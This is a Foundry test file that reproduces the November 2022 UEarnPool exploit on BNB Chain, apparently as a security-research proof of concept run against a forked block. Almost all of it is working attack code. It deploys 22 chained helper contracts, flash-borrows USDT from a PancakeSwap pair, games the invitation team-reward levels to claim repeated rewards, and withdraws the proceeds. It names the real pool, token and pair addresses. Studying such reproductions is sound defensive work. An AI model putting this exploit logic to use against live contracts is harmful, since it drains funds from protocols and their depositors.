src/test/2022-11/UEarnPool_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/CertiKAlert/status/1593094922160128000
9// @Tx
10// https://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec
11// https://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418
12// @Summary
13// The key is to obtain invitation rewards, create 22 contracts, bind each other, first stake a large amount of usdt, make teamamont reach the standard of _levelConfigs[3], stake in turn, and finally claim rewards
14// Reward Calculation: claimTeamReward() levelConfig
15//                  if (_userInfos[account].levelClaimed[i] == 0) {
16//                     if (i == 0) {
17//                         levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;
18//                     } else {
19//                         levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;
20//                     }
21//                     pendingReward += levelReward;
22// _levelConfigs[0] = LevelConfig(100, 300000 * amountUnit, 3000 * amountUnit);         rewardRate; teamAmount; amount;
23// _levelConfigs[1] = LevelConfig(300, 600000 * amountUnit, 7000 * amountUnit);
24// _levelConfigs[2] = LevelConfig(500, 1200000 * amountUnit, 10000 * amountUnit);
25// _levelConfigs[3] = LevelConfig(1000, 2400000 * amountUnit, 20000 * amountUnit);
26// _feeDivFactor = 10000
27// rewrad: 162_000 = 1_200_000 * 0.1 + 600_000 * 0.05 + 300_000 * 0.03 + 300_000 * 0.01
28 
29interface UEarnPool {
30    function bindInvitor(
31        address invitor
32    ) external;
33    function stake(uint256 pid, uint256 amount) external;
34    function claimTeamReward(
35        address account
36    ) external;
37}
38 
39contract claimReward {
40    UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);
41    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
42 
43    function bind(
44        address invitor
45    ) external {
46        Pool.bindInvitor(invitor);
47    }
48 
49    function stakeAndClaimReward(
50        uint256 amount
51    ) external {
52        USDT.approve(address(address(Pool)), type(uint256).max);
53        Pool.stake(0, amount);
54        Pool.claimTeamReward(address(this));
55    }
56 
57    function withdraw(
58        address receiver
59    ) external {
60        USDT.transfer(receiver, USDT.balanceOf(address(this)));
61    }
62}
63 
64contract ContractTest is Test {
65    UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);
66    Uni_Pair_V2 Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
67    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
68    address[] contractList;
69 
70    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
71 
72    function setUp() public {
73        cheat.createSelectFork("bsc", 23_120_167);
74    }
75 
76    function testExploit() public {
77        contractFactory();
78        // bind invitor
79        (bool success,) = contractList[0].call(abi.encodeWithSignature("bind(address)", tx.origin));
80        require(success);
81        for (uint256 i = 1; i < 22; i++) {
82            (bool success,) = contractList[i].call(abi.encodeWithSignature("bind(address)", contractList[i - 1]));
83            require(success);
84        }
85 
86        Pair.swap(2_420_000 * 1e18, 0, address(this), new bytes(1));
87 
88        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
89    }
90 
91    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
92        uint256 len = contractList.length;
93        // LevelConfig[3].teamAmount : 2_400_000
94        USDT.transfer(contractList[len - 1], 2_400_000 * 1e18);
95        (bool success1,) =
96            contractList[len - 1].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 2_400_000 * 1e18));
97        require(success1);
98        for (uint256 i = len - 2; i > 4; i--) {
99            USDT.transfer(contractList[i], 20_000 * 1e18); // LevelConfig[3].Amount : 20_000
100            USDT.balanceOf(address(this));
101            // 162000 - 20000 + 1500, 1500 is the reduce amount of _addInviteReward(), claim remaining USDT when USDT amount in contract less than 162_000,
102            if (USDT.balanceOf(address(Pool)) < 143_500 * 1e18) {
103                USDT.transfer(address(Pool), 143_500 * 1e18 - USDT.balanceOf(address(Pool)));
104            }
105            (bool success1,) =
106                contractList[i].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 20_000 * 1e18)); // LevelConfig[3].Amount : 20_000
107            require(success1);
108            (bool success2,) = contractList[i].call(abi.encodeWithSignature("withdraw(address)", address(this)));
109            require(success2);
110        }
111        contractList[0].call(abi.encodeWithSignature("withdraw(address)", address(this))); // claim the reward from _addInviteReward()
112        contractList[1].call(abi.encodeWithSignature("withdraw(address)", address(this)));
113        contractList[2].call(abi.encodeWithSignature("withdraw(address)", address(this)));
114        contractList[3].call(abi.encodeWithSignature("withdraw(address)", address(this)));
115        contractList[4].call(abi.encodeWithSignature("withdraw(address)", address(this)));
116        uint256 borrowAmount = 2_420_000 * 1e18;
117        USDT.transfer(address(Pair), borrowAmount * 10_000 / 9975 + 1000);
118    }
119 
120    function contractFactory() public {
121        address _add;
122        bytes memory bytecode = type(claimReward).creationCode;
123        for (uint256 _salt = 0; _salt < 22; _salt++) {
124            assembly {
125                _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)
126            }
127            contractList.push(_add);
128        }
129    }
130}